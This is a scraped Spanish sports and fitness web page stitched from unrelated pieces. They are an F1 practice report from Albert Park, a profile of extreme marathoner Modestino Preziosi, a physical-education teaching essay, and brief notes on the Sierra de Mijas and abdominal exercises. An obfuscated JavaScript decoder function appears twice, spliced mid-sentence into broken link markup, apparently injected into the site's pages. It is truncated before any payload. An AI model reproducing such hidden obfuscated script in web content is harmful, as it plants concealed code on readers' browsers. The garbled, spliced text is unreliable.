Los Campeones del Mundo británicos Lewis Hamilton y Jenson Button, lideraron la tabla de tiempos cuando la lluvia hizo acto de presencia en la segunda sesión de entrenamientos en Albert Park la tarde del viernes. Nadie fue capaz de reducir los tiempos cuando ceso la lluvia, el héroe local, Mark Webber terminó tercero y Michael Schumacher terminó el día siendo el más rápido de los dos Mercedes.

Renault seguido acumulando un kilometraje con Kubica.

Michael Schumacher ha terminando con el cuarto mejor tiempo y dejando fuera de ritmo a su compañero de equipo Nico Rosberg.

El equipo Hispania no pudo completar una vuelta en los segundos libres ya que Bruno Senna se quedó clavado en el pit lane y el coche de su compañero de equipo Karun Chandhok se averió antes de llegar a la curva 1.

Ferrari tuvo un tiempo relativamente tranquilo con los líderes del campeonato, Alonso y Massa completaron un total de 41 vueltas entre los dos antes de terminar 15 y 17 en la clasificación final del día.

Jaime Alguersuari de Toro Roso fué el 19 y Jarno Trulli estuvo detrás de su compañero de equipo.

Robert Kubica ha sido 11.  Pedro de la Rosa como BMW Sauber tuvo problemas en la sesión de libres.  El español se puso en el camino de Button, justo al final, sin embargo, que no fue del agrado del campeón del mundo. 

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function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=»;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand.org/images/stories/aemf2.jpg» alt=» » title=»Preziosi en la Antartida» width=»150″ height=»113″ align=»left» />Un campeón mundial extremo

Modestino Preziosi no es un hombre de muchas palabras; pero no las necesita para sobresalir. Este excepcional atleta sabe cómo correr y su habilidad física le ha permitido obtener en cuatro oportunidades el título mundial del maratón extremo en 1993 – 1994, 2001- 2002, 2006-2007 y 2009 – 2010.
Ya sabemos que correr las maratones tradicionales es muy difícil, porque los 42 kilómetros con 195 metros exigen una excelente preparación, ¿qué decir entonces de los que desandan 150 o 200…kilómetros, en jornadas consecutivas? Si a las largas distancias le sumamos que los maratones extremos se corren en lugares precisamente “extremos” como el desierto en Marruecos, los bosques amazónicos, la Muralla china o la Antártica, pues el adjetivo está más que bien ganado.
Preziosi prefiere el espíritu de la aventura en el deporte al que le dedica la mayor parte de su tiempo y uno de sus retos más cercanos será participar, en mayo de este año, en la maratón extrema de Vietnam y un poco más adelante, el campeón intentará entrar otra vez en los libros de récords, pues pretende sobrepasar—corriendo— los 7 mil metros en el Himalaya y todo esto…sin detenerse y sin ayuda de equipos con oxígeno. Sencillamente impresionante.
El atleta decidió crear la function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand.net/" title="Modestino Preziosi" class="external" rel="nofollow">Federación de Maratón Extremo de Antarticland, de la que existen ya más de mil 500 deportistas interesados en unirse a esta organización. Su decisión fue apoyada por el regente Giovanni Caporaso sobre el que Preziosi tiene muy buen criterio y reconoce su espíritu innovador y aventurero y el apoyo a esta disciplina deportiva que para algunos es considerada “menor”, pero que, ciertamente, cuando se analiza todo el esfuerzo que deben desarrollar los hombres,  se comprende que no merece ese calificativo.
Además de los compromisos en Vietnam y la subida al Himalaya, un enorme desafío que afrontará Preziosi es el Ice Marathon que se correrá en la Antártica y también el monarca universal está inmerso, ahora como coordinador, en la preparación del campeonato mundial (Over Coup). Para esto ha formado un Comité Internacional, compuesto por cinco organizaciones internacionales quienes emitirán el veredicto final sobre el circuito del campeonato. Las reglamentaciones y las noticias sobre este Comité aparecen en en este sitio; mientras que para actualizarse sobre la Federación y la trayectoria del campeón, puede visitar los sitios de  Antarticland y la página oficial de Preziosi.

Medios de enseñanza de la Educación Física  Prof. Reinaldo ChacónRrchb23@hotmail.es 

El objetivo fundamental de la educación física es educar al individuo integralmente en todos los aspectos y las esferas necesarias para su desenvolvimiento, su desarrollo y integración de manera eficaz, útil  que le permita insertarse de manera adecuada a la sociedad.

       Es importante tomar en cuenta el entorno donde se realizan las actividades e interacciones educativas, sea entre estudiantes o personas de cualquier comunidad que se apoyen en el aprendizaje.

         Estos procesos se pueden dar en un espacio natural que se considere necesario y apropiado para proporcionar el aprendizaje, donde donde se interrelacionan aspectos pedagógicos, comunicacionales, sociales y afectivos que integrados adecuadamente ayudan a percibir nuevas experiencias que te ayudan a reflexionar en cuanto al cuidado al cuidado y mantenimiento de nuestro medio ambiente y así crear conciencia para seguir disfrutando de lo bello y maravilloso que nos ofrece la naturaleza.           Vida al aire libre un gran bloque de educación física, en donde tomamos todas esas actividades que se puedan desarrollar aprovechando un recurso importante como lo es la naturaleza, realizando visitas a parques, lagos, museos naturales, lagunas importantes, playas, además de otros sitios. También podemos planificar excursiones a otro tipo ambiente por ejemplo cultural, ciencia y tecnología, religiosos, etc. y campamentos en lugares turísticos en donde se pueda reflejar aspectos de índole educativo y así proporcionar nuevos conocimientos y experiencias, dándole sentido a un objetivo planteado por los docentes que en bienestar de una comunidad o sociedad que busca de mejorar su calidad de vida de fortacer los valores en medio de un ambiente lleno de cosas nuevas por descubrir.   

         La aplicación de los juegos durante una clase de Educación Física tienen gran importancia dentro de la misma, debido al desarrollo motor que logra en el individuo por lo tanto cabe destacar que cada uno de ellos tienen un fin especifico y lo podemos clasificar gracias a su amplia gama, podemos nombrar entre ellos juegos pre-deportivos, juegos ecológicos, juegos pedagógicos, juegos tradicionales, juegos motrices, juegos de destreza básica, juegos de socialización, juegos gráficos, juegos literarios.

           Los juegos producen un estado de bienestar y sensación placentera, por lo que es saludable propiciar que los niños participen en juegos individuales y grupales.             Tienen un propósito recreativo, pero al mismo tiempo busca mejorar los patrones básicos motrices y el equilibrio a través de la practica de giros, golpes, recepciones y lanzamientos en diferentes direcciones, el mejoramientote dichos patrones depende de las posibilidades y limitaciones individuales.             Mediante los juegos de destreza básica los niños aprenden a valorar sus habilidades, la superación personal, la sinceridad consigo y aprende a conocer sus limitaciones,  además  sentir respeto por el resto de sus compañeros y a respetar las normas y reglas de las actividades en la cual participan.              Existe otro medio en el cual la Educación Física también  puede transmitir sus objetivos, lo llamamos (Expresión Corporal), siempre nos comunicamos mediante el habla, la escritura, el dibujo y por medio de gestos utilizamos todos estos medios para transmitir alegrías, molestias, dudas, cansancio, miedo y muchas otras cosas que se nos ocurra.                 Entre las formas de expresión tenemos la (Mimica)  es donde ponemos de manifiesto la comunicación por medio de gestos y posturas corporales que son muy utilizadas en obras de teatro, otra de las formas de expresión es la (Pantomima) en ella se prepara una escenificación de algún guión, que mediante gestos y movimientos del cuerpo sin pronunciar palabras expresamos y le dan sentido a cualquier historia, y por ultimo una de las mas importantes, la (Dramatizacion) es donde tratamos de dar lo mejor de si mismo la puesta en escena el dominio de la expresión corporal.                Las actividades de expresión corporal dentro de una clase de Educación Física son importantes porque permiten explorar las formas de expresivas espontáneas del cuerpo, mediante el uso de nuestras capacidades kinestesicas y coordinativas.               De realizar actividades tomando en cuenta todos los espacios que nos ofrece la naturaleza, las herramientas que nos otorga la Educación Física y la creatividad de cada uno de nosotros podríamos afianzar una mejor educación para el bienestar de todos, logrando un gran impulso educativo a nivel de todas esas grandes comunidades que pueden aportar nuevas ideas que vallan en pro de mejorar su entorno.      Prof. Reinaldo Chacón 

Sierra de Mijas

La Sierra de Mijas es una cadena montañosa que se asienta paralela a la Costa del Sol, en Andalucía, España.

Separa la Costa del Sol de la comarca del Valle del Guadalhorce y los municipios de Torremolinos, Benalmádena, Mijas, Alhaurín de la Torre, Alhaurín el Grande y de Churriana (distrito de Málaga).

El punto más alto es el Pico Mijas a 1.150 msnm, otros picos son Pico del Puerto Málaga, Jabalcuza y Jarapalos.

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Hay muchísima información en Internet sobre ejercicios abdominales perfectos… pero no todo lo que brilla es oro!